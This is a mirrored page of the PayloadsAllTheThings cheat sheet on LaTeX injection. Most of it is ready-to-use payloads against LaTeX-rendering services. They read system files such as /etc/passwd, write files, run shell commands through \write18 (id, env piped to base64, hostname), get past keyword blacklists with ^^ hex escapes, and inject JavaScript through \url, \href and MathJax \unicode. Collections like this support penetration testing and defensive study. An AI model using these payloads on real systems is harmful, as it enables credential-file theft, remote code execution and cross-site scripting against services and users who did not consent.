mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 05:15:26 +00:00
127 lines
2.7 KiB
Markdown
127 lines
2.7 KiB
Markdown
# LaTex Injection
|
||
|
||
## Summary
|
||
|
||
* [Read File](#read-file)
|
||
* [Write File](#write-file)
|
||
* [Command Execution](#command-execution)
|
||
* [Cross Site Scripting](#cross-site-scripting)
|
||
* [References](#references)
|
||
|
||
|
||
## Read File
|
||
|
||
You might need to adjust injection with wrappers as `\[` or `$`.
|
||
|
||
Read file and interpret the LaTeX code in it:
|
||
|
||
```tex
|
||
\input{/etc/passwd}
|
||
\include{somefile} # load .tex file (somefile.tex)
|
||
```
|
||
|
||
Read single lined file:
|
||
|
||
```tex
|
||
\newread\file
|
||
\openin\file=/etc/issue
|
||
\read\file to\line
|
||
\text{\line}
|
||
\closein\file
|
||
```
|
||
|
||
Read multiple lined file:
|
||
|
||
```tex
|
||
\lstinputlisting{/etc/passwd}
|
||
\newread\file
|
||
\openin\file=/etc/passwd
|
||
\loop\unless\ifeof\file
|
||
\read\file to\fileline
|
||
\text{\fileline}
|
||
\repeat
|
||
\closein\file
|
||
```
|
||
|
||
Read text file, **without** interpreting the content, it will only paste raw file content:
|
||
|
||
```tex
|
||
\usepackage{verbatim}
|
||
\verbatiminput{/etc/passwd}
|
||
```
|
||
|
||
If injection point is past document header (`\usepackage` cannot be used), some control
|
||
characters can be deactivated in order to use `\input` on file containing `$`, `#`,
|
||
`_`, `&`, null bytes, ... (eg. perl scripts).
|
||
|
||
```tex
|
||
\catcode `\$=12
|
||
\catcode `\#=12
|
||
\catcode `\_=12
|
||
\catcode `\&=12
|
||
\input{path_to_script.pl}
|
||
```
|
||
|
||
To bypass a blacklist try to replace one character with it's unicode hex value.
|
||
- ^^41 represents a capital A
|
||
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
|
||
|
||
```tex
|
||
\lstin^^70utlisting{/etc/passwd}
|
||
```
|
||
|
||
## Write File
|
||
|
||
Write single lined file:
|
||
|
||
```tex
|
||
\newwrite\outfile
|
||
\openout\outfile=cmd.tex
|
||
\write\outfile{Hello-world}
|
||
\write\outfile{Line 2}
|
||
\write\outfile{I like trains}
|
||
\closeout\outfile
|
||
```
|
||
|
||
## Command Execution
|
||
|
||
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
|
||
|
||
```tex
|
||
\immediate\write18{id > output}
|
||
\input{output}
|
||
```
|
||
|
||
If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
|
||
|
||
```tex
|
||
\immediate\write18{env | base64 > test.tex}
|
||
\input{text.tex}
|
||
```
|
||
|
||
```tex
|
||
\input|ls|base64
|
||
\input{|"/bin/hostname"}
|
||
```
|
||
|
||
## Cross Site Scripting
|
||
|
||
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||
|
||
```tex
|
||
\url{javascript:alert(1)}
|
||
\href{javascript:alert(1)}{placeholder}
|
||
```
|
||
|
||
in [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.html)
|
||
|
||
```tex
|
||
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
|
||
```
|
||
|
||
|
||
## References
|
||
|
||
- [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)
|
||
- [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
|
||
- [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) |